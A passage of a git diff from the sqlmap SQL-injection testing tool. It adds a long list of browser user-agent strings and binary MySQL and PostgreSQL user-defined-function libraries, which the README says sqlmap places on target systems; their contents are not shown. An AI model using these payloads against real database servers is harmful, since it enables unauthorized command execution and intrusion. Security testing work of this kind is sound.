Gecko) Version/15.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.33 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7258.155 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/139 Version/11.1.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/139 Version/16.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15 Ddg/18.6 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.14 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.7 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15 Ddg/18.6 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15 Ddg/18.6 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 15_4 ADSSO) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Unique/97.7.7239.70 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-1) +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-2) +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 YaBrowser/25.6.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.7151.104 ADG/11.1.4905 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.92 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.93 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.96 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.97 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Avast/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 AVG/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 Herring/90.1.1459.6 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Norton/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 OpenWave/96.4.8983.84 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7258.5 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.16 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4482.0 Safari/537.36 Edg/92.0.874.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0 +Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 +Mozilla/5.0 (X11; CrOS x86_64 13904.97.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.167 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14816.131.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/116.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/28.0 Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0 +Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 +Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 +Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 +Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0 diff --git a/data/txt/wordlist.tx_ b/data/txt/wordlist.tx_ new file mode 100644 index 00000000000..f2b52c90658 Binary files /dev/null and b/data/txt/wordlist.tx_ differ diff --git a/udf/README.txt b/data/udf/README.txt similarity index 62% rename from udf/README.txt rename to data/udf/README.txt index 077070873aa..5cecd99f5ee 100644 --- a/udf/README.txt +++ b/data/udf/README.txt @@ -1,6 +1,4 @@ Binary files in this folder are data files used by sqlmap on the target system, but not executed on the system running sqlmap. They are licensed under the terms of the GNU Lesser General Public License and their source -code is available on the official sqlmap subversion repository[1]. - -[1] https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack/ +code is available on https://github.com/sqlmapproject/udfhack. diff --git a/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ new file mode 100644 index 00000000000..c5339680c1b Binary files /dev/null and b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ differ diff --git a/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ new file mode 100644 index 00000000000..aed988c71eb Binary files /dev/null and b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ differ diff --git a/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ new file mode 100644 index 00000000000..8c09c2a49ba Binary files /dev/null and b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ differ diff --git a/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ new file mode 100644 index 00000000000..1e29a745889 Binary files /dev/null and b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ differ diff --git a/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..2227f89936f Binary files /dev/null and b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..7ece1b633c9 Binary files /dev/null and b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..6816064fa49 Binary files /dev/null and b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..0e79dbb195a Binary files /dev/null and b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..bb2aaf8ba91 Binary files /dev/null and b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..506b0eb3567 Binary files /dev/null and b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ differ diff 